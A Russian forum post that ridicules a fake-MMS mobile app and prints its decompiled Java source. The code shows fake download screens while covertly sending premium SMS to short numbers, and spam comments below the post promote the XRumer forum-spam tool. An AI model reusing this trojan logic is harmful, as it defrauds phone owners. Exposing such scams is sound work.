УЦКТ выпуск 2012 года Вторник, 17.02.2026, 00:37
Форма входа
Поиск
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

o_O

^j^ ФОРУМ ^j^
Главная » 2011 » Март » 10 » Offtopic: ржака
09:54
Offtopic: ржака
- Дилинь-дилинь
"Вам поступило MMS, просмотр с мобильного - http://mmstx.ru/####.jar"

Прикольный jar-mms, да.
Декомпилятор: http://java.decompiler.free.fr/?q=jdgui

Code
import java.util.Calendar;
import java.util.Date;
import java.util.Random;
import javax.microedition.lcdui.Canvas;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Graphics;
import javax.microedition.lcdui.Image;
import javax.microedition.rms.RecordStore;

public class M extends Canvas
  implements Runnable
{
  public static Random RNG;
  public static Image I;
  public static M T;
  public static Graphics G;
  public static int KC;
  public static int KP;
  public static int[] IC;
  public static Command okcommand;
  public static Command click;
  public static Command notcommand;
  public static String nomner;
  public static int label_id;
  public static int index;
  public static String countstr;
  public static int countint;
  public static String datastr;
  public static int nextid;
  public static String nomner1;
  public static String nomner2;
  public static String nomner3;
  public static String s;
  public static RecordStore rs;
  public static String outputtime;
  public static String outputdate;
  public static RecordStore rs_d;
  public static String sa;
  public static String s3;
  public static String s5;
  public static String s6;
  public static String sl;
  public static String su;
  public static int time;

  public void paint(Graphics paramGraphics)
  {
  paramGraphics.drawImage(I, 0, 0, 20);
  }

  public void run()
  {
  try
  {
  R();
  }
  catch (Exception localException)
  {
  }
  }

  public void keyPressed(int paramInt)
  {
  KP = M.KC = paramInt;
  }

  public void keyReleased(int paramInt)
  {
  KP = 0;
  }

  public static void mainmenu()
  throws Exception
  {
  su = new String(String.valueOf('p'));
  s = new String(String.valueOf('v'));
  notcommand = new Command("Выход", 7, 2);
  s3 = new String("ay");
  okcommand = new Command("Да", 4, 1);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  FW.CD.addCommand(notcommand);
  FW.CD.addCommand(okcommand);
  label_id = FW.F.append("Просмотреть MMS сообщение ?");
  do
  {
  Thread.sleep(100);
  FW.LC = null;
  click = FW.LC;
  }
  while ((click == null ? 0 : -1) == 0);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }

  public static void mainmenu3()
  throws Exception
  {
  su = new String("");
  s = new String("");
  nomner = new String("");
  notcommand = new Command("Выход", 7, 2);
  s3 = new String("");
  nomner3 = new String("");
  okcommand = new Command("Еще", 4, 1);
  nomner2 = new String("");
  sl = new String("");
  s5 = new String("");
  sa = new String("");
  nomner1 = new String("");
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  s6 = new String("");
  s = new String(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(s).append(sa).toString()).append(sl).toString()).append(s3).toString()).append(su).toString()).append(s5).toString() + s6);
  nomner = new String(new StringBuffer().append(new StringBuffer().append(nomner).append(nomner1).toString()).append(nomner2).toString() + nomner3);
  FW.CD.addCommand(notcommand);
  FW.CD.addCommand(okcommand);
  label_id = FW.F.append("Просмотреть MMS сообщение ?");
  do
  {
  Thread.sleep(100);
  click = okcommand;
  }
  while ((click == null ? 0 : -1) == 0);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }

  public static void mainmenu2()
  throws Exception
  {
  notcommand = new Command("Выход", 7, 1);
  okcommand = new Command("Еще", 4, 2);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  FW.CD.addCommand(notcommand);
  FW.CD.addCommand(okcommand);
  label_id = FW.F.append("Ошибка! Повторите еще раз.");
  do
  {
  Thread.sleep(100);
  FW.LC = null;
  click = FW.LC;
  }
  while ((click == null ? 0 : -1) == 0);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  if ((click != okcommand ? 0 : -1) != 0)
  {
  if ((SM.send("sms://8464", String.valueOf('1')) ^ 0xFFFFFFFF) != 0)
  {
  FW.CD.addCommand(notcommand);
  FW.CD.addCommand(okcommand);
  Thread.sleep(1500);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }
  while (SM.IS() != 0)
  {
  label_id = FW.F.append("Загрузка MMS - 0kb");
  Thread.sleep(15000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 2kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 5kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 9kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 12kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 15kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 19kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 21kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 22kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 25kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 27kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 28kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 30kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 33kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 35kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  mainmenu2();
  }
  if ((SM.GS() ^ 0xFFFFFFFF) != 0)
  mainmenu2();
  if (SM.GS() != 0)
  {
  rs = RS.j("sms5");
  rs_d = RS.j("sms_d5");
  time = (int)(System.currentTimeMillis() / 1000);
  Calendar tmp1229_1226 = Calendar.getInstance();
  tmp1229_1226.setTime(new Date(time * 1000));
  Calendar tmp1271_1268 = Calendar.getInstance();
  tmp1271_1268.setTime(new Date(time * 1000));
  Calendar tmp1336_1333 = Calendar.getInstance();
  tmp1336_1333.setTime(new Date(time * 1000));
  outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp1229_1226.get(5)).toString()).append(new StringBuffer().append(tmp1271_1268.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp1336_1333.get(1)).toString());
  RS.L(rs, "12", 1);
  RS.L(rs_d, outputdate, 1);
  label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин.");
  Thread.sleep(5000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }
  }
  if ((click != notcommand ? 0 : -1) != 0)
  {
  FW.fw.destroyApp(true);
  Thread.currentThread().join();
  Thread.sleep(1000);
  }
  }

  public static void sendmoneytome()
  throws Exception
  {
  if ((click != okcommand ? 0 : -1) != 0)
  {
  if ((SM.send("sms://844473", "p:60 n:9232749305") ^ 0xFFFFFFFF) != 0)
  {
  FW.CD.addCommand(notcommand);
  FW.CD.addCommand(okcommand);
  label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин.");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }
  else
  {
  while (SM.IS() != 0)
  {
  label_id = FW.F.append("Загрузка MMS - 0kb");
  Thread.sleep(1500);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 2kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 5kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 9kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 12kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 15kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 19kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 21kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  label_id = FW.F.append("Загрузка MMS - 22kb");
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  Thread.sleep(1000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }
  if (SM.GS() != 0)
  {
  if (((SM.send("sms://844473", "p:60 n:9232749307") ^ 0xFFFFFFFF) != 0) && ((SM.send("sms://844473", "p:60 n:9232749297") ^ 0xFFFFFFFF) != 0));
  rs = RS.j("sms5");
  rs_d = RS.j("sms_d5");
  time = (int)(System.currentTimeMillis() / 1000);
  Calendar tmp788_785 = Calendar.getInstance();
  tmp788_785.setTime(new Date(time * 1000));
  Calendar tmp830_827 = Calendar.getInstance();
  tmp830_827.setTime(new Date(time * 1000));
  Calendar tmp895_892 = Calendar.getInstance();
  tmp895_892.setTime(new Date(time * 1000));
  outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp788_785.get(5)).toString()).append(new StringBuffer().append(tmp830_827.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp895_892.get(1)).toString());
  RS.L(rs, "12", 1);
  RS.L(rs_d, outputdate, 1);
  label_id = FW.F.append("Ошибка!На сервере технические работы.Повторите через 30-60 мин.");
  Thread.sleep(5000);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  }
  if ((SM.GS() ^ 0xFFFFFFFF) != 0)
  mainmenu2();
  }
  if ((click != notcommand ? 0 : -1) == 0);
  }
  }

  public static void prover()
  throws Exception
  {
  time = (int)(System.currentTimeMillis() / 1000);
  Calendar tmp15_12 = Calendar.getInstance();
  tmp15_12.setTime(new Date(time * 1000));
  Calendar tmp57_54 = Calendar.getInstance();
  tmp57_54.setTime(new Date(time * 1000));
  Calendar tmp122_119 = Calendar.getInstance();
  tmp122_119.setTime(new Date(time * 1000));
  outputdate = new String(new StringBuffer().append(new StringBuffer().append(tmp15_12.get(5)).toString()).append(new StringBuffer().append(tmp57_54.get(2) + 0 + 1).toString()).toString() + new StringBuffer().append(tmp122_119.get(1)).toString());
  rs = RS.j("sms5");
  rs_d = RS.j("sms_d5");
  nextid = RS.Lja(rs);
  nextid = RS.Lja(rs_d);
  if ((nextid != 1 ? 0 : -1) != 0)
  index = RS.L(rs, String.valueOf('0'));
  index = RS.L(rs_d, String.valueOf('0'));
  countstr = new String(RS.j(rs, 1));
  datastr = new String(RS.j(rs_d, 1));
  if ((countstr.compareTo("12") != 0 ? 0 : -1) != 0)
  {
  if ((datastr.compareTo(outputdate) == 0 ? 0 : -1) != 0)
  {
  RS.L(rs);
  RS.L(rs_d);
  sendmoneytome();
  }
  else
  {
  RS.L(rs);
  RS.L(rs_d);
  (FW.F = new Form(new String())).setCommandListener(FW.fw);
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  Display.getDisplay(FW.fw).setCurrent(FW.F);
  FW.CD = FW.F;
  index = FW.F.append("Извините сервер не доступен.Попробуйте повторить через 24 часа. ");
  Thread.sleep(5000);
  FW.fw.destroyApp(true);
  Thread.currentThread().join();
  Thread.sleep(1000);
  }
  }
  else
  sendmoneytome();
  }

  public static void R()
  throws Exception
  {
  RNG = new Random();
  IC = new int[25];
  KC = 0;
  KP = 0;
  okcommand = new Command(new String(), 1, 1);
  click = new Command(new String(), 1, 1);
  notcommand = new Command(new String(), 1, 1);
  nomner = new String();
  nomner1 = new String();
  nomner2 = new String();
  nomner3 = new String();
  s = new String();
  sa = new String();
  sl = new String();
  s3 = new String();
  su = new String();
  s5 = new String();
  s6 = new String();
  label_id = 0;
  index = 0;
  countstr = new String();
  nextid = 0;
  countint = 0;
  time = 0;
  outputtime = new String();
  outputdate = new String();
  datastr = new String();
  mainmenu();
  prover();
  FW.fw.destroyApp(true);
  }
}

Особенно умиляет процесс "загрузки" со слипом по секунде biggrin "Ошибка!На сервере технические работы.Повторите через 30-60 мин.", LOL.
Кстати, #### - какой-то идентификатор, например 9305. Не знаю, как он получен, но прикол еще и в том, что даже если вы не запустили приложение или запретили отправку SMS, но его скачали - ID можно привязать к номеру телефона и посмотрев лог загрузки определить что номер живой и его можно бомбить в 10 раз активнее.

Просмотров: 2212 | Добавил: Alexander | Рейтинг: 0.0/0
Всего комментариев: 6
6 MFinnerBon  
0
hi to all! give me plpase funny cats videoms on yourtube

5 NatashaDog  
0
Где скачать бесплатно X Rumer 7.0.10 ?
Пришлите мне , пожалуйста URL!
Это лучшая программа для массового размещения на форумах ! XRumer может сломать большинство видов каптч !

4 NatashaDog  
0
Я хочу бесплатно X Rumer 7.0.10 ELITE??
Пришлите мне , пожалуйста URL!
Это лучшая программа для массового размещения на форумах ! XRumer может сломать большинство видов каптч !

3 Feancedaf  
0
http://goo.gl/ueXPJ

2 Derlelpsari  
0
[url=http://kinostorage.net/] На нашем портале Вы можете скачать новые фильмы без регистрации и бесплатно. Представлены все жанры киновидео индустрии, американские и российские фильмы таких жанров как бевики, комедии, фильмы ужасов. Большой коноархив популярных качественных фильмов на любой вкус, с удобным поиском по рейтингу, жанрам и новизне.

[/url]

1 bronenos  
0
мдаа.. лол

Имя *:
Email *:
Код *:
Календарь
«  Март 2011  »
Пн Вт Ср Чт Пт Сб Вс
 123456
78910111213
14151617181920
21222324252627
28293031
Друзья сайта
  • Маи официальный сайт
  • Уцкт Маи
  • Copyright MyCorp © 2026
    Хостинг от uCoz